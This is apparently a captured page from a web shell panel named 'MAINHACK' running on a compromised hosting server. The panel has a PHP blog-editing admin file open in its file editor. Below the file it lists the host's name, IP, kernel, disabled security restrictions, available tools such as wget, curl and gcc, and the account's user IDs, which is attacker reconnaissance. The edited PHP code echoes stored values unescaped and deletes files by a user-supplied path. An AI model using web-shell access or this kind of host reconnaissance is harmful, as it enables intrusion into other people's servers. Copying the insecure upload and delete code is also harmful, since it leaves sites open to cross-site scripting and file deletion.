[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: edit_blog.php
<?php include 'header.php'; ?> <?php $count=1; $sr='blog'; $stmt =$show->readwithdata($sr,'id',$_REQUEST['id']); $num = $stmt->rowCount(); if($num>0){ $count=1; while ($row = $stmt->fetch(PDO::FETCH_ASSOC)){ ?> <div class="main-panel"> <div class="content"> <div class="container-fluid"> <div class="row"> <div class="col-md-12"> <div class="card"> <div class="card-header"> <div class="card-title">Edit Blog</div> </div> <form method="post" id="exampleValidation" data-toggle="validator" enctype="multipart/form-data" > <div class="card-body"> <div class="form-group"> <div class="col-md-12"> <label>Main Title </label> <input type="text" name="main_title" value="<?=$row['main_title']?>" class="form-control" required> </div> </div> <div class="form-group form-show-validation row"> <label class="col-lg-3 col-md-3 col-sm-4 mt-sm-2 text-right">Main Image <span class="required-label">*</span></label> <div class="col-lg-4 col-md-9 col-sm-8"> <div class="input-file input-file-image"> <input type="hidden" value="<?=$row['main_image']?>" name="main_image1"> <img class="img-upload-preview img-circle" width="100" height="100" src="../img/blog/<?=$row['main_image']?>" alt="preview"> <input type="file" class="form-control form-control-file" id="uploadImg" onchange="return fileValidation('main_image','400')" name="main_image" accept="image/*" > <label for="main_image" class=" label-input-file btn btn-icon btn-primary btn-round btn-lg"><i class="la la-file-image-o"></i> Upload a Image</label> </div> </div> </div> <div class="form-group"> <div class="col-md-12"> <label>Title 1</label> <input type="text" name="title1" value="<?=$row['title1']?>" class="form-control" required> </div> </div> <div class="form-group form-show-validation row"> <label for="name" class="col-lg-3 col-md-3 col-sm-4 mt-sm-2 ">Description 1<span class="required-label">*</span></label> <div class="col-lg-12 col-md-12 col-sm-12"> <textarea name="description1" class="form-control" rows="10"><?=$row['description1']?></textarea> </div> </div> <div class="form-group form-show-validation row"> <label class="col-lg-3 col-md-3 col-sm-4 mt-sm-2 text-right">Edit Image1 <span class="required-label">*</span></label> <div class="col-lg-4 col-md-9 col-sm-8"> <div class="input-file input-file-image"> <input type="hidden" value="<?=$row['image1']?>" name="pic1"> <img class="img-upload-preview img-circle" width="100" height="100" src="../img/blog/<?=$row['image1']?>" alt="preview"> <input type="file" class="form-control form-control-file" id="image1" onchange="return fileValidation('image1','500')" name="image1" accept="image/*" > <label for="image1" class=" label-input-file btn btn-icon btn-primary btn-round btn-lg"><i class="la la-file-image-o"></i> Upload a Image</label> </div> </div> </div> <div class="form-group"> <div class="col-md-12"> <label>Title 2</label> <input type="text" name="title2" value="<?=$row['title2']?>" class="form-control" > </div> </div> <div class="form-group form-show-validation row"> <label for="name" class="col-lg-3 col-md-3 col-sm-4 mt-sm-2 ">Description 2<span class="required-label">*</span></label> <div class="col-lg-12 col-md-12 col-sm-12"> <textarea name="description2" class="form-control" rows="10"><?=$row['description2']?></textarea> </div> </div> <div class="form-group form-show-validation row"> <label class="col-lg-3 col-md-3 col-sm-4 mt-sm-2 text-right">Edit Image2 <span class="required-label">*</span></label> <div class="col-lg-4 col-md-9 col-sm-8"> <div class="input-file input-file-image"> <input type="hidden" value="<?=$row['image2']?>" name="pic2"> <img class="img-upload-preview img-circle" width="100" height="100" src="../img/blog/<?=$row['image2']?>" alt="preview"> <input type="file" class="form-control form-control-file" id="image2" onchange="return fileValidation('image2','500')" name="image2" accept="image/*" > <label for="image2" class=" label-input-file btn btn-icon btn-primary btn-round btn-lg"><i class="la la-file-image-o"></i> Upload a Image</label> </div> </div> </div> <div class="form-group"> <div class="col-md-12"> <label>Title 3</label> <input type="text" name="title3" value="<?=$row['title3']?>" class="form-control" > </div> </div> <div class="form-group form-show-validation row"> <label for="name" class="col-lg-3 col-md-3 col-sm-4 mt-sm-2 ">Description 3<span class="required-label">*</span></label> <div class="col-lg-12 col-md-12 col-sm-12"> <textarea name="description3" class="form-control" rows="10"><?=$row['description3']?></textarea> </div> </div> <div class="form-group form-show-validation row"> <label class="col-lg-3 col-md-3 col-sm-4 mt-sm-2 text-right">Edit Image3 <span class="required-label">*</span></label> <div class="col-lg-4 col-md-9 col-sm-8"> <div class="input-file input-file-image"> <input type="hidden" value="<?=$row['image3']?>" name="pic3"> <img class="img-upload-preview img-circle" width="100" height="100" src="../img/blog/<?=$row['image3']?>" alt="preview"> <input type="file" class="form-control form-control-file" id="image3" onchange="return fileValidation('image3','1000')" name="image3" accept="image/*" > <label for="image3" class=" label-input-file btn btn-icon btn-primary btn-round btn-lg"><i class="la la-file-image-o"></i> Upload a Image</label> </div> </div> </div> <div class="form-group"> <div class="col-md-12"> <label>Title 4</label> <input type="text" name="title4" value="<?=$row['title4']?>" class="form-control" > </div> </div> <div class="form-group form-show-validation row"> <label for="name" class="col-lg-3 col-md-3 col-sm-4 mt-sm-2 ">Description 4<span class="required-label">*</span></label> <div class="col-lg-12 col-md-12 col-sm-12"> <textarea name="description4" class="form-control" rows="10"><?=$row['description4']?></textarea> </div> </div> <div class="form-group form-show-validation row"> <label class="col-lg-3 col-md-3 col-sm-4 mt-sm-2 text-right">Edit Image4 <span class="required-label">*</span></label> <div class="col-lg-4 col-md-9 col-sm-8"> <div class="input-file input-file-image"> <input type="hidden" value="<?=$row['image4']?>" name="pic4"> <img class="img-upload-preview img-circle" width="100" height="100" src="../img/blog/<?=$row['image4']?>" alt="preview"> <input type="file" class="form-control form-control-file" id="image4" onchange="return fileValidation('image4','1000')" name="image4" accept="image/*" > <label for="image4" class=" label-input-file btn btn-icon btn-primary btn-round btn-lg"><i class="la la-file-image-o"></i> Upload a Image</label> </div> </div> </div> <div class="card-action"> <div class="row"> <div class="col-md-12"> <input class="btn btn-success" type="submit" name="sub" value="Submit"> </div> </div> </div> </div> </form> </div> </div> </div> </div> </div> </div> <?php } } ?> <?php if(isset($_POST['sub'])){ $allowed = ["main_title","title1","title2","category","title3","title4","description1","description2","description3","description4"]; $params = []; $setStr = ""; foreach ($allowed as $key) { if (isset($_POST[$key]) && $key != "uid") { $setStr .= "`$key` = :$key,"; $params[$key] = htmlspecialchars($_POST[$key]); } } if(file_exists($_FILES['image1']['tmp_name']) || is_uploaded_file($_FILES['image1']['tmp_name'])) { $path="../img/blog/".$_POST['pic1']; unlink($path);//echo $path; $setStr .= "`image1` = :image1,"; $img=$show->imageEdit($_FILES['image1']['name']); move_uploaded_file($_FILES['image1']['tmp_name'],"../img/blog/".$img); $params['image1'] =$img; } if(file_exists($_FILES['image2']['tmp_name']) || is_uploaded_file($_FILES['image2']['tmp_name'])) { $path="../img/blog/".$_POST['pic2']; unlink($path);//echo $path; $setStr .= "`image2` = :image2,"; $img=$show->imageEdit($_FILES['image2']['name']); move_uploaded_file($_FILES['image2']['tmp_name'],"../img/blog/".$img); $params['image2'] =$img; } if(file_exists($_FILES['image3']['tmp_name']) || is_uploaded_file($_FILES['image3']['tmp_name'])) { $path="../img/blog/".$_POST['pic3']; unlink($path);//echo $path; $setStr .= "`image3` = :image3,"; $img=$show->imageEdit($_FILES['image3']['name']); move_uploaded_file($_FILES['image3']['tmp_name'],"../img/blog/".$img); $params['image3'] =$img; } if(file_exists($_FILES['image4']['tmp_name']) || is_uploaded_file($_FILES['image4']['tmp_name'])) { $path="../img/blog/".$_POST['pic4']; unlink($path);//echo $path; $setStr .= "`image4` = :image4,"; $img=$show->imageEdit($_FILES['image4']['name']); move_uploaded_file($_FILES['image4']['tmp_name'],"../img/blog/".$img); $params['image4'] =$img; } if(file_exists($_FILES['main_image']['tmp_name']) || is_uploaded_file($_FILES['main_image']['tmp_name'])) { $path="../img/blog/".$_POST['main_image1']; unlink($path);//echo $path; $setStr .= "`main_image` = :main_image,"; $img=$show->imageEdit($_FILES['main_image']['name']); move_uploaded_file($_FILES['main_image']['tmp_name'],"../img/blog/".$img); $params['main_image'] =$img; } $setStr = rtrim($setStr, ","); $params['id'] =$_REQUEST['id']; $show->table ='blog'; $show->cols =$setStr; $show->id_name ='id'; $show->params =$params; //print_r($params); if($show->update_all()){ echo '<script> setTimeout(function() { swal({ title: "Thank You ", text: "for Updating!", type: "success" }, function() { window.location = "'.$_SERVER['REQUEST_URI'].'"; }); }, 1000); </script>'; } else{ echo "ss"; } }?> <?php include 'footer.php'; ?>
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server05.hostinghome.co.in
Server IP: 192.168.74.40
PHP Version: 7.4.33
Server Software: Apache
System: Linux server05.hostinghome.co.in 3.10.0-962.3.2.lve1.5.81.el7.x86_64 #1 SMP Wed May 31 10:36:47 UTC 2023 x86_64
HDD Total: 1.95 TB
HDD Free: 692.09 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Disabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes
gcc:
Yes
pkexec:
No
git:
Yes
User Info
Username: itsweb
User ID (UID): 1619
Group ID (GID): 1621
Script Owner UID: 1619
Current Dir Owner: 1619